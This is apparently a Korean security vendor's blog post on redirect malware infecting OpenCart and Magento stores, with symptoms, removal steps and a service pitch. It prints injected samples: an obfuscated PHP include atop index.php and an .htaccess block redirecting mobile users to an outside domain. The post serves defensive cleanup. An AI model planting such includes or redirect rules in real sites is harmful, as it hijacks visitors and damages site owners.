데스크톱과 모바일 웹사이트를 모두 악성 링크로 강제 리디렉션하는 OpenCart·Magento 악성코드가 최근 급속히 확산되고 있습니다. 지난주 이후 저희 팀은 이 악성코드로 인한 감염 사례를 수차례 접했습니다. 특정 버전만 표적으로 삼는 것이 아니라, Magento와 OpenCart의 다양한 버전에서 광범위하게 감염이 확인되었으므로 각별한 주의가 필요합니다.
악성 리디렉션의 유형별 특징과 대응 방법이 궁금하다면, 관련 상세 가이드도 함께 참고하시길 권장합니다.
감염 시 어떤 증상이 나타날까?
블랙프라이데이와 사이버먼데이 세일 시즌을 노린 이 악성코드는, 감염된 웹사이트를 방문하는 모든 사용자를 '특가 혜택'을 내세우는 페이지로 리디렉션합니다. 리디렉션 목적지는 할인 오퍼를 담은 사이트이거나, 성인 사이트처럼 보이는 그래픽 콘텐츠가 포함된 페이지입니다.
실제로 저희에게 문의한 한 고객은 데스크톱 버전에서 악성코드 일부를 제거했지만, 모바일 웹사이트에는 여전히 악성코드가 잔존해 있었습니다. 또 어떤 경우에는 Google 검색을 통해서만 리디렉션이 발생하기도 합니다(구글에서 자신의 사이트를 검색한 뒤 링크를 클릭할 때). 이는 검색 엔진 봇을 속여 SEO에 악영향을 주려는 전형적인 수법입니다.
아래는 감염된 웹사이트를 악성 페이지로 리디렉션하는 OpenCart·Magento 악성코드의 실제 작동 모습입니다:
리디렉션 악성코드가 초래하는 피해
- 악성 웹사이트로의 강제 리디렉션
- 검색 결과 순위 하락 등 SEO 악영향
- 404 오류 페이지 생성 급증
- Google 서치 콘솔(웹마스터 도구) 오류 발생
- 서버 내 악성 파일 지속적으로 증가
- 위 문제들이 누적되면서 트래픽과 매출 감소
OpenCart·Magento 리디렉션 악성코드 발견 및 제거 방법
아래 과정에서 일부 코드를 삭제하도록 안내하고 있습니다. 다만 해커는 종종 악성 코드를 정상 코드처럼 위장해 두므로, 파일이나 코드를 삭제하기 전에 반드시 백업을 먼저 진행하세요.
- index.php 파일 점검: 인덱스 파일 상단에 삽입된 악성 코드를 발견했습니다. 해당 코드는 인코딩되어 있어 디코딩 없이는 용도를 파악하기 어렵습니다. 실제 발견된 코드 조각은 다음과 같습니다.
<?php /*2e920*/ @include "\x2fh\x6fm\x65/\x6ez\x67a\x72d\x65n\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fs\x79s... [[MALICIOUS CODE]]"; /*2e920*/ // Version define('VERSION', '2.0.1.0'); // Configuration if (is_file('config.php')) { require_once('config.php'); } // Install if (!defined('DIR_APPLICATION')) { header('Location: install/index.php'); exit; } // Startup require_once(DIR_SYSTEM . 'startup.php'); // Registry $registry = new Registry();index 파일 최상단에서 이런 패턴의 코드를 발견했다면 즉시 삭제하는 것이 좋습니다.
- .htaccess 파일 반드시 확인: 서버의 .htaccess 파일에서도 악성코드 흔적이 발견됩니다. 루트 폴더뿐 아니라 /admin 폴더 내부의 .htaccess도 반드시 점검하세요. /admin 폴더에서 발견된 악성코드 예시는 다음과 같습니다.
RewriteEngine on RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{QUERY_STRING} !noredirect [NC] RewriteRule ^(.*)$ https://sswim.ru [L,R=302].htaccess에 삽입된 이 코드는 전부 악성입니다. 모바일 기기 사용자를 악성 도메인으로 리디렉션하는 역할을 하며, 발견 즉시 제거해야 합니다.
- 수상한 PHP 파일 찾기: 가장 까다로운 단계입니다. 해커는 정상 파일처럼 보이는 이름으로 악성 코드를 숨겨 두곤 합니다. 파일 내용 대부분은 무해해 보이지만, 그중 몇 줄이 해커의 명령을 수행하는 경우가 많습니다. 이번 사례에서는 다양한 OpenCart/Magento 디렉터리에서 enjoy.php, unzip.php 같은 의심스러운 파일이 발견되었습니다.

- Google 서치 콘솔의 경고를 무시하지 마세요: Google은 사이트 색인 과정에서 수상한 활동을 감지하면 경고를 보냅니다. Google의 경고가 도착했다면 심각하게 받아들여야 합니다. 이 시점부터 검색 순위가 하락할 수 있기 때문입니다. 아직도 유행 중인 일본어 SEO 스팸 사태에서도 유사한 양상이 나타났습니다. 아래는 악성코드가 대량의 404 페이지를 생성하고 Google이 이를 감지한 실제 사례입니다.

감염 이후 대응 방법
이런 유형의 감염은 비즈니스에 치명타를 낳습니다. 다운타임이 길어질수록 고객과 평판을 잃고, 무엇보다 검색 엔진 순위에 심각한 악영향을 미칩니다. 더욱이 해커는 웹사이트 감염 후 기술 전문가조차 발견하기 어려운 백도어를 남기는 경우가 많습니다. 따라서 이번 사례를 교훈 삼아, 웹사이트를 연중무휴 24시간 보호해 주는 웹 방화벽(WAF)을 도입하는 것이 무엇보다 중요합니다.
현재 감염 상황을 해결하는 데 어려움을 겪고 계시다면 언제든 도움을 드릴 수 있습니다. 서비스에 가입하시면 전문 엔지니어가 가입 후 10분 이내에 복구 작업을 시작합니다.